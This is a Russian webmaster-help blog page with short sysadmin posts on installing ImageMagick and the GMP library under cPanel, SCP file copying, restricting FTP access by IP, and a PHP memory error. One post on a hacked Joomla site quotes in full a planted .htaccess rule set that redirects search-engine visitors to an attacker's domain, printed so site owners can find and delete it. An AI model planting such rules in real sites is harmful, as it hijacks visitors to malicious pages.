Купить SSD Хостинг   

WebHelpCenter.ru Все что может пригодится вебмастеру, администратору сервера, хостинга, программисту и новичку в интернете

Сети
Поиск по сайту
Разделы сайта
Подробнее о...
Календарь
«    Ноябрь 2017    »
ПнВтСрЧтПтСбВс
 
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
 
Архив новостей
Полезное
Облако тегов
Популярные новости
Скачать Игры бесплатно
Скачать alawar Игры бесплатно
Друзья
Самое дорогое

Как установить ImageMagick на сервер под управлением CPanel/WHM

К сожалению EasyApache не имеет параметров для установки ImageMagick
Устанавливать необходимо в ручную.

В теме рассмотрены следующие вопросы и подробное описание.

Как проверить установлен ли ImageMagick на сервере ?
root@192.168.0.1 [/] /scripts/checkimagemagick
root@192.168.0.1 [/] ok - значить он установлен.
root@192.168.0.1 [/] missing - то его нет.

Как установить ImageMagick на сервер ?
1. Самый оптимальный, набрать в командной строке следующее:
root@192.168.0.1 [/] /scripts/installimagemagick
....

Как установить пакет IMagick что бы с ним можно было работать в PHP ?
Это процедура понадобится если даже вы использовали первый вариант установки, т.е. /scripts/installimagemagick

Как узнать версию ImageMagick Perl и PHP ?

Смотрите подробней, подробное описание с картинками
Опубликовал gfxman, 11-11-2009, 18:03 | Комментировать (0)

Удаленное копирование файлов с помощью SCP

SCP (Secure Copy Protocol) - Линукс команда для защищенного копирования файлов или папок на удаленный компьютер (сервер) или с него, используя для этого протокол SSH (Secure Shell). SCP является составной частью пакета OpenSSH. Благодаря использованию ssh, SCP является отличной заменой для небезопасного протокола FTP, которой широко используется в Интернете.

Иногда возникает задача передачи файлов с одного сервера на другой.

Приведу примеры как ее использовать.

Заходим на сервер используя SSH протокол , например через программу - PuTTY (http://www.chiark.greenend.org.uk/~sgtatham/putty/)

1. Как копировать файл на удаленный сервер:
root@192.168.0.1 [/]# scp /home/file1.zip root@192.168.0.2:/home2/

2. Как копировать файлы и папки на удаленный сервер:
root@192.168.0.1 [/]# scp -r /home/ root@192.168.0.2:/home2/

3. Как копировать файл с удаленного сервера:
root@192.168.0.1 [/]# scp root@192.168.0.2:/home2/file1.zip /home/

4. Как копировать файлы и папки с удаленного сервера:
root@192.168.0.1 [/]# scp -r root@192.168.0.2:/home2/ /home/

5. Как копировать файлы с одного сервера на другой находясь на третем.
root@192.168.0.3 [/]# scp root@192.168.0.1:/home/file1.zip root@192.168.0.2:/home2/

Смотрите подробней. Расписал более подробно все варианты использование команды SCP

Опубликовал gfxman, 10-11-2009, 22:40 | Комментировать (0)

Как установить библиотеку GMP Math на сервере / VPS ?

Сначала узнаем что этот такое.
Что такое библиотека GMP ?
Это набор функций которые позволяют работать с целыми числами произвольной точности с использованием библиотеки GNU MP в PHP

Была необходимость установить библиотеку GMP для PHP. Исследовал страницы интернет и были найдены решения как это сделать.
Не так часто это нужно но может кому-то пригодится.

Много операций можно делать через EasyApache (Apache Update) в WHM но к сожалению этого не сделать
В WHM/CPanel не поддерживается компиляция библиотеки GMP в PHP

Прилагаю проверенный способ:

Заходим на сервер через SSH и выполняем следующее в командной строке

wget ftp://ftp.gnu.org/gnu/gmp/gmp-4.3.1.tar.bz2
tar -xjvf gmp-4.3.1.tar.bz2
cd gmp-4.3.1
./configure
make
make check
make install


Сайт где можно скачать последнюю версию библиотеки GMP для PHP: http://gmplib.org/#DOWNLOAD

Далее создаем файл:

vi /var/cpanel/easy/apache/rawopts/all_php5

(по всей вероятности этого файла нет и вы его создадите редактором vi)
добавляем строчку

--with-gmp


После этого пересобираем PHP

в WHM это делается просто через
EasyApache (Apache Update) он находится в разделе Software
Выбираем нужные параметры, или используем уже готовые ваши заготовки настроек. Заодно можно и обновить PHP и т.п.

или просто пересобрать PHP по умолчанию в командной строке
/scripts/easyapache

Компилируем и все готово!

Смотрите подробней, как проверить установилась ли библиотека.
Опубликовал gfxman, 31-10-2009, 08:49 | Комментировать (0)

Сайт взломали! Автоматическая переадресация на другой сайт

Сегодня столкнулся проблемой, один из сайтов был взломан, построенный на Joomla
Долго копался в решении проблемы, пересмотрел почти все файлы, пересмотрел базу данных, но в конечном итоге нашел :) Просто сразу не заметил :(

Значить ситуация такая.

Когда администратор или пользователь заходит в админ панель на Joomle, когда пытается создать или редактировать пользователя , то его сразу переадресовывает на како-то сайт. В моей ситуации это был : http://10sp.co.cc/fra/show.php

Переадресация может быть и когда посетитель заходит на сайт.

Как решить проблему?

Найдите все файлы .htaccess и внимательно посмотрите в него, если вы увидете подобное то удаляйте это все!

RewriteEngine On
RewriteCond %{HTTP_REFERER} .*google.* [OR]
RewriteCond %{HTTP_REFERER} .*ask.* [OR]
RewriteCond %{HTTP_REFERER} .*yahoo.* [OR]
RewriteCond %{HTTP_REFERER} .*excite.* [OR]
RewriteCond %{HTTP_REFERER} .*altavista.* [OR]
RewriteCond %{HTTP_REFERER} .*msn.* [OR]
RewriteCond %{HTTP_REFERER} .*netscape.* [OR]
RewriteCond %{HTTP_REFERER} .*aol.* [OR]
RewriteCond %{HTTP_REFERER} .*hotbot.* [OR]
RewriteCond %{HTTP_REFERER} .*goto.* [OR]
RewriteCond %{HTTP_REFERER} .*infoseek.* [OR]
RewriteCond %{HTTP_REFERER} .*mamma.* [OR]
RewriteCond %{HTTP_REFERER} .*alltheweb.* [OR]
RewriteCond %{HTTP_REFERER} .*lycos.* [OR]
RewriteCond %{HTTP_REFERER} .*search.* [OR]
RewriteCond %{HTTP_REFERER} .*metacrawler.* [OR]
RewriteCond %{HTTP_REFERER} .*dogpile.*
RewriteRule ^(.*)$ http://10sp.co.cc/fra/show.php [R=301,L]

Это значит что все пришедшие посетители с поисковых систем перенаправляются на другой сайт. В нашем случае это : http://10sp.co.cc/fra/show.php

Удалите немедлено это со всех файлов .htaccess или в обще удалите эти файлы если там нет ничего что относится к сайту.
Обязательно ищите эти файлы не только в /public_html/
а и в самом корне ./ учетной записи, там тоже могут быть файлы .htaccess и в папках .htaccess/.htaccess
Обязательно их проверьте!

Ка могли сайт взломать и что делать ?
Опубликовал admin, 18-10-2009, 18:47 | Комментировать (0)

Защита FTP от несанкционированного доступа

Хостинг провайдеры используют в основном сервера ProFTPD или Pure-FTPD

1. Как защитить свой FTP если у вашего хостинг провайдера ProFTPD

Чтобы разрешить доступ по FTP только с определенных IP, разместите в корне своей учетной записи файл .ftpaccess с содержимым:

<Limit ALL>
Allow from xx.xx.xx.xx
Allow from xx.xx.xx.xx
Deny from all
</Limit>


Где xx.xx.xx.xx — это IP-адрес, с которого разрешен доступ по FTP к учетной записи.

Выделенный IP вы можете получить у своего провайдера. Если вы указали неверный IP и после этого перестал работать доступ по FTP, обратитесь в службу технической поддержки с подробностями. Вы можете самостоятельно изменить файл .ftpaccess, зайдя в панель управления CPanel, открыть Файл менеджер.

Если все же вы не можете получить выделенный адрес а имеете динамические адреса, то можно например разрешить доступ на всю сеть вашего провайдера, например это будет выглядеть так:
<Limit ALL>
Allow 212.32.5.0/26
Allow 158.152.0.0/16
Deny from all
</Limit>


Все же это тоже немного ограничит взломщиков из других сетей интернета.

1. Как защитить свой FTP если у вашего хостинг провайдера Pure-FTPD

Для включения такой защиты в корневом каталоге каждого FTP-аккаунта необходимо создать текстовый файл с именем .ftpaccess.
В нем необходимо прописать разрешенные для подключения IP адреса или часть IP адреса начиная с начала (каждый адрес на новой строке).

Примеры настройки .ftpaccess (редактировать этот файл можно с помощью FTP-клиента или посредством Файл-менеджера в cPanel):

* Если в этот файле вписать цифру 1, то доступ будет открыт для всех IP-адресов, которые начинаются с этой цифры.

* Если в этот файл полностью вписать ваш внешний IP-адрес, доступ будет закрыт для всех других. Это самая эффективная защита вашего сайта.

* Вписать полностью нужный вам IP-адрес в .ftpaccess .

* Если ваш IP динамический, можно прописать часть адреса, например:

195.131.185

или вписать несколько IP-адресов (каждый на новой строке!).

Для того, чтобы прописать IP адрес с помощью cPanel, зайдите на вашу контрольную панель управления выберите Файл-менеджер, сделайте отметку для Home Directory и поставьте "галочку" в поле Show Hidden Files (dotfiles), кликните на кнопу “Go”. В списке файлов выберите файл .ftpaccess, кликните правой кнопкой вашей мышки на этот файл, в открывшемся контекстном меню выберите Edit File, далее редактируйте файл .ftpaccess.

P.S. Рекомендую все же ограничивать доступ к вашим FTP.
Если вы не знаете какой FTP сервер у вашего провайдера, то тогда пробуйте оба способа, думаю какой то из них должен все же подойти.
Опубликовал admin, 17-10-2009, 14:04 | Комментировать (0)

Что означает "Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate ....."

Очень часто новички в веб строении сталкиваются с проблемами работы скриптов бесплатных и платных.

Сейчас расскажу как побороть ошибку "Fatal error: Allowed memory size of ...."

Примерно она такого вида:
Fatal error: Allowed memory size of 33554432 bytes exhausted (tried to allocate 2298 bytes) in /home/username/public_html/administrator/components/com_virtuemart/classes/class.img2thumb.php on line 151

Эта ошибка взята из скрипта Joomla.

Что это означает и как ее побороть

Смотрите подробней
Опубликовал admin, 16-10-2009, 18:19 |